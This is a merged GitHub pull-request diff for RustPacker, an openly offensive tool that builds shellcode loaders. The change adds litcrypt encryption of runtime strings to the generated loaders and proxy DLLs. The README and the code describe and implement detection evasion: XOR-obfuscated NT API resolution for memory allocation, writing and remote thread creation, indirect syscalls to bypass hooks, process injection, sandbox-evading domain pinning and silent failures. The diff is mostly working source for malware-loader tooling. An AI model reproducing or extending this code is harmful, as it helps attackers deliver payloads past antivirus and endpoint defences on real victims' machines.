Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -315,6 +315,7 @@ RustPacker implements several evasion techniques:
- **Dynamic API Resolution** (`nt*` templates): NT API functions are resolved at runtime via `GetProcAddress` with XOR-obfuscated function names (random key per build). This removes suspicious ntdll imports from the PE import table.
- **Indirect Syscalls**: Bypass user-mode hooks (`syscrt`, `sysfiber` templates)
- **Payload Encryption**: XOR encoding, AES-256-CBC encryption, or UUID-based encoding
- **String Encryption**: Runtime literals in generated loaders are wrapped with litcrypt to reduce static string exposure
- **Process Injection**: Hide execution in legitimate processes
- **Domain Pinning**: Only detonate on a specific domain (sandbox evasion)
- **Silent Failures**: No descriptive error messages in the binary — all failures exit silently to avoid IoC string detection
Expand Down Expand Up @@ -382,7 +383,7 @@ Contributions are welcome! Here's how you can help:
- [x] Domain pinning, thanks to [m4r1u5-p0p](https://github.com/m4r1u5-p0p) !
- [x] Indirect syscalls for fiber templates
- [x] Cross-platform support (Linux, Windows, macOS)
- [ ] String encryption (litcrypt)
- [x] String encryption (litcrypt)
- [ ] Check DLL support for all templates
- [x] Add EarlyCascade injection template
- [x] Add DLL proxying support
Expand Down
70 changes: 50 additions & 20 deletions src/dll_proxy.rs
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
use crate::pe_parser::DllExport;
use crate::tools::litcrypt_string_expr;

pub struct ProxyOutput {
pub proxy_source: String,
Expand Down Expand Up @@ -26,6 +27,7 @@ fn generate_proxy_source(exports: &[DllExport], forward_target: &str) -> String
let mut s = String::new();

s.push_str("use std::arch::naked_asm;\n");
s.push_str("use std::ffi::CString;\n");
s.push_str("use std::sync::atomic::{AtomicUsize, Ordering};\n\n");

s.push_str("#[link(name = \"kernel32\")]\n");
Expand All @@ -48,21 +50,27 @@ fn generate_proxy_source(exports: &[DllExport], forward_target: &str) -> String

s.push_str("pub unsafe fn init() {\n");
s.push_str(&format!(
" let h = rp_load_library(b\"{}\\0\".as_ptr());\n",
dll_filename
" let dll_name = CString::new({}).unwrap();\n",
litcrypt_string_expr(&dll_filename)
));
s.push_str(" let h = rp_load_library(dll_name.as_ptr() as *const u8);\n");
s.push_str(" if h == 0 { return; }\n");
for (i, name) in &named {
s.push_str(&format!(
" RP_ADDR_{}.store(rp_get_proc_address(h, b\"{}\\0\".as_ptr()), Ordering::Release);\n",
i, name
" let export_{} = CString::new({}).unwrap();\n",
i,
litcrypt_string_expr(name)
));
s.push_str(&format!(
" RP_ADDR_{}.store(rp_get_proc_address(h, export_{}.as_ptr() as *const u8), Ordering::Release);\n",
i, i
));
}
s.push_str("}\n\n");

for (i, name) in &named {
s.push_str("#[unsafe(naked)]\n");
s.push_str(&format!("#[export_name = \"{}\"]\n", name));
s.push_str(&format!("#[export_name = {:?}]\n", name));
s.push_str(&format!(
"pub unsafe extern \"system\" fn _rp_fwd_{}() {{\n",
i
Expand All @@ -85,23 +93,35 @@ mod tests {
#[test]
fn test_proxy_source_named_exports() {
let exports = vec![
DllExport { name: Some("GetFileVersionInfoA".into()), ordinal: 1 },
DllExport { name: Some("GetFileVersionInfoW".into()), ordinal: 2 },
DllExport {
name: Some("GetFileVersionInfoA".into()),
ordinal: 1,
},
DllExport {
name: Some("GetFileVersionInfoW".into()),
ordinal: 2,
},
];
let src = generate_proxy_source(&exports, "version_orig");
assert!(src.contains("static RP_ADDR_0: AtomicUsize"));
assert!(src.contains("static RP_ADDR_1: AtomicUsize"));
assert!(src.contains("#[export_name = \"GetFileVersionInfoA\"]"));
assert!(src.contains("#[export_name = \"GetFileVersionInfoW\"]"));
assert!(src.contains("#[unsafe(naked)]"));
assert!(src.contains("b\"version_orig.dll\\0\""));
assert!(src.contains("lc!(\"version_orig.dll\")"));
}

#[test]
fn test_proxy_source_skips_ordinal_only() {
let exports = vec![
DllExport { name: Some("FuncA".into()), ordinal: 1 },
DllExport { name: None, ordinal: 5 },
DllExport {
name: Some("FuncA".into()),
ordinal: 1,
},
DllExport {
name: None,
ordinal: 5,
},
];
let src = generate_proxy_source(&exports, "test_orig");
assert!(src.contains("#[export_name = \"FuncA\"]"));
Expand All @@ -118,26 +138,36 @@ mod tests {

#[test]
fn test_generate_proxy_output() {
let exports = vec![
DllExport { name: Some("Init".into()), ordinal: 1 },
];
let exports = vec![DllExport {
name: Some("Init".into()),
ordinal: 1,
}];
let output = generate_proxy(&exports, "mylib");
assert_eq!(output.original_dll_name, "mylib_orig.dll");
assert!(output.proxy_source.contains("#[export_name = \"Init\"]"));
assert!(output.proxy_source.contains("b\"mylib_orig.dll\\0\""));
assert!(output.proxy_source.contains("lc!(\"mylib_orig.dll\")"));
}

#[test]
fn test_proxy_source_init_resolves_all() {
let exports = vec![
DllExport { name: Some("Alpha".into()), ordinal: 1 },
DllExport { name: Some("Beta".into()), ordinal: 2 },
DllExport { name: Some("Gamma".into()), ordinal: 3 },
DllExport {
name: Some("Alpha".into()),
ordinal: 1,
},
DllExport {
name: Some("Beta".into()),
ordinal: 2,
},
DllExport {
name: Some("Gamma".into()),
ordinal: 3,
},
];
let src = generate_proxy_source(&exports, "lib_orig");
assert!(src.contains("b\"Alpha\\0\""));
assert!(src.contains("b\"Beta\\0\""));
assert!(src.contains("b\"Gamma\\0\""));
assert!(src.contains("lc!(\"Alpha\")"));
assert!(src.contains("lc!(\"Beta\")"));
assert!(src.contains("lc!(\"Gamma\")"));
assert!(src.contains("RP_ADDR_0.store"));
assert!(src.contains("RP_ADDR_1.store"));
assert!(src.contains("RP_ADDR_2.store"));
Expand Down
142 changes: 108 additions & 34 deletions src/puzzle.rs
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,9 @@ use crate::arg_parser::{Encryption, Execution, Format, Order};
use crate::dll_proxy;
use crate::pe_parser;
use crate::sandbox::build_sandbox;
use crate::tools::{random_aes_iv, random_aes_key, random_u8, EncryptionOutput};
use crate::tools::{
litcrypt_string_expr, random_aes_iv, random_aes_key, random_u8, EncryptionOutput,
};
use crate::uuid_enc::encrypt_uuid;
use crate::xor::encrypt_xor;
use fs_extra::dir::{copy, CopyOptions};
Expand All @@ -29,6 +31,17 @@ fn non_zero_random_key() -> u8 {
}

const OUTPUT_DIR: &str = "shared";
const LITCRYPT_DEPENDENCY: &str = r#"litcrypt = "0.4""#;
const LITCRYPT_SETUP: &str = "#[macro_use]\nextern crate litcrypt;\n\nuse_litcrypt!();";

fn build_dependencies(template_dependencies: Option<String>) -> String {
match template_dependencies {
Some(dependencies) if !dependencies.trim().is_empty() => {
format!("{}\n{}", LITCRYPT_DEPENDENCY, dependencies)
}
_ => LITCRYPT_DEPENDENCY.to_string(),
}
}

fn search_and_replace(
path_to_file: &Path,
Expand Down Expand Up @@ -96,9 +109,12 @@ fn build_encrypted_output(order: &Order, src_dir: &Path) -> (EncryptionOutput, S

let output = match order.encryption {
Encryption::Xor => encrypt_xor(&order.shellcode_path, &path, non_zero_random_key()),
Encryption::Aes => {
encrypt_aes(&order.shellcode_path, &path, &random_aes_key(), &random_aes_iv())
}
Encryption::Aes => encrypt_aes(
&order.shellcode_path,
&path,
&random_aes_key(),
&random_aes_iv(),
),
Encryption::Uuid => encrypt_uuid(&order.shellcode_path, &path),
};

Expand All @@ -107,16 +123,21 @@ fn build_encrypted_output(order: &Order, src_dir: &Path) -> (EncryptionOutput, S

fn build_replacements(order: &Order, src_dir: &Path) -> HashMap<&'static str, String> {
let (enc_output, include_path) = build_encrypted_output(order, src_dir);
let dependencies = build_dependencies(enc_output.dependencies);

let mut replacements: HashMap<&'static str, String> = HashMap::new();
replacements.insert("{{PATH_TO_SHELLCODE}}", include_path);
replacements.insert("{{DECRYPTION_FUNCTION}}", enc_output.decryption_function);
replacements.insert("{{MAIN}}", enc_output.main);
replacements.insert("{{DEPENDENCIES}}", enc_output.dependencies.unwrap_or_default());
replacements.insert("{{DEPENDENCIES}}", dependencies);
replacements.insert("{{IMPORTS}}", enc_output.imports.unwrap_or_default());
replacements.insert("{{LITCRYPT_SETUP}}", LITCRYPT_SETUP.to_string());
replacements.insert("{{DLL_MAIN}}", String::new());
replacements.insert("{{DLL_FORMAT}}", String::new());
replacements.insert("{{TARGET_PROCESS}}", order.target_process.clone());
replacements.insert(
"{{TARGET_PROCESS}}",
litcrypt_string_expr(&order.target_process),
);
replacements.insert("{{SANDBOX}}", String::new());
replacements.insert("{{SANDBOX_IMPORTS}}", String::new());

Expand All @@ -128,14 +149,38 @@ fn build_replacements(order: &Order, src_dir: &Path) -> HashMap<&'static str, St

let api_key = non_zero_random_key();
replacements.insert("{{API_KEY}}", format!("0x{:02x}", api_key));
replacements.insert("{{OBF_NT_OPEN_PROCESS}}", obfuscate_api_name("NtOpenProcess", api_key));
replacements.insert("{{OBF_NT_ALLOCATE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtAllocateVirtualMemory", api_key));
replacements.insert("{{OBF_NT_WRITE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtWriteVirtualMemory", api_key));
replacements.insert("{{OBF_NT_PROTECT_VIRTUAL_MEMORY}}", obfuscate_api_name("NtProtectVirtualMemory", api_key));
replacements.insert("{{OBF_NT_CREATE_THREAD_EX}}", obfuscate_api_name("NtCreateThreadEx", api_key));
replacements.insert("{{OBF_NT_QUEUE_APC_THREAD}}", obfuscate_api_name("NtQueueApcThread", api_key));
replacements.insert("{{OBF_NT_TEST_ALERT}}", obfuscate_api_name("NtTestAlert", api_key));
replacements.insert("{{OBF_NT_DELAY_EXECUTION}}", obfuscate_api_name("NtDelayExecution", api_key));
replacements.insert(
"{{OBF_NT_OPEN_PROCESS}}",
obfuscate_api_name("NtOpenProcess", api_key),
);
replacements.insert(
"{{OBF_NT_ALLOCATE_VIRTUAL_MEMORY}}",
obfuscate_api_name("NtAllocateVirtualMemory", api_key),
);
replacements.insert(
"{{OBF_NT_WRITE_VIRTUAL_MEMORY}}",
obfuscate_api_name("NtWriteVirtualMemory", api_key),
);
replacements.insert(
"{{OBF_NT_PROTECT_VIRTUAL_MEMORY}}",
obfuscate_api_name("NtProtectVirtualMemory", api_key),
);
replacements.insert(
"{{OBF_NT_CREATE_THREAD_EX}}",
obfuscate_api_name("NtCreateThreadEx", api_key),
);
replacements.insert(
"{{OBF_NT_QUEUE_APC_THREAD}}",
obfuscate_api_name("NtQueueApcThread", api_key),
);
replacements.insert(
"{{OBF_NT_TEST_ALERT}}",
obfuscate_api_name("NtTestAlert", api_key),
);
replacements.insert(
"{{OBF_NT_DELAY_EXECUTION}}",
obfuscate_api_name("NtDelayExecution", api_key),
);

replacements
}
Expand Down Expand Up @@ -225,11 +270,7 @@ fn apply_dll_format(
lib_rs_path
}

fn apply_replacements(
replacements: &HashMap<&str, String>,
main_path: &Path,
cargo_path: &Path,
) {
fn apply_replacements(replacements: &HashMap<&str, String>, main_path: &Path, cargo_path: &Path) {
for (key, value) in replacements {
search_and_replace(main_path, key, value)
.unwrap_or_else(|e| eprintln!("Warning: template replace failed for {}: {}", key, e));
Expand All @@ -238,6 +279,28 @@ fn apply_replacements(
}
}

fn proxy_module_insert_offset(existing: &str) -> usize {
if let Some(pos) = existing.find("use_litcrypt!();") {
let after_marker = pos + "use_litcrypt!();".len();
return after_marker
+ existing[after_marker..]
.find('\n')
.map(|newline| newline + 1)
.unwrap_or(0);
}

let mut inner_attr_end = 0;
for line in existing.lines() {
let trimmed = line.trim();
if trimmed.starts_with("#!") || trimmed.is_empty() {
inner_attr_end += line.len() + 1;
} else {
break;
}
}
inner_attr_end.min(existing.len())
}

fn apply_proxy(order: &Order, folder: &Path) {
let proxy_path = order.proxy_dll.as_ref().unwrap();
let exports = pe_parser::parse_exports(proxy_path).unwrap_or_else(|e| {
Expand All @@ -258,21 +321,11 @@ fn apply_proxy(order: &Order, folder: &Path) {

let lib_rs_path = src_dir.join("lib.rs");
let existing = fs::read_to_string(&lib_rs_path).expect("Failed to read lib.rs");

// Insert `mod proxy;` after inner attributes (#![...]) to avoid breaking them
let mut inner_attr_end = 0;
for line in existing.lines() {
let trimmed = line.trim();
if trimmed.starts_with("#!") || trimmed.is_empty() {
inner_attr_end += line.len() + 1; // +1 for newline
} else {
break;
}
}
let insert_at = proxy_module_insert_offset(&existing);
let updated = format!(
"{}\n#[allow(non_upper_case_globals, non_snake_case)]\nmod proxy;\n{}",
&existing[..inner_attr_end.min(existing.len())].trim_end(),
&existing[inner_attr_end.min(existing.len())..]
&existing[..insert_at].trim_end(),
&existing[insert_at..]
);
fs::write(&lib_rs_path, updated).expect("Failed to update lib.rs with mod proxy");

Expand All @@ -287,8 +340,7 @@ pub fn assemble(order: Order) -> PathBuf {
println!("[+] Assembling Rust code..");

let template_path = template_path_for_execution(&order.execution);
let folder = create_root_folder(Path::new(OUTPUT_DIR))
.expect("Failed to create output folder");
let folder = create_root_folder(Path::new(OUTPUT_DIR)).expect("Failed to create output folder");
copy_template(template_path, &folder).expect("Failed to copy template");

let src_dir = folder.join("src");
Expand All @@ -312,3 +364,25 @@ pub fn assemble(order: Order) -> PathBuf {
println!("[+] Done assembling Rust code!");
folder
}

#[cfg(test)]
mod tests {
use super::*;

#[test]
fn test_build_dependencies_always_includes_litcrypt() {
assert_eq!(build_dependencies(None), r#"litcrypt = "0.4""#);
assert_eq!(
build_dependencies(Some(r#"libaes = "0.7""#.to_string())),
"litcrypt = \"0.4\"\nlibaes = \"0.7\""
);
}

#[test]
fn test_proxy_module_insert_offset_keeps_litcrypt_first() {
let source = "#![windows_subsystem = \"windows\"]\n\n#[macro_use]\nextern crate litcrypt;\n\nuse_litcrypt!();\n\nuse std::include_bytes;\n";
let insert_at = proxy_module_insert_offset(source);
assert!(source[..insert_at].contains("use_litcrypt!();"));
assert!(source[insert_at..].starts_with('\n'));
}
}
Loading
Loading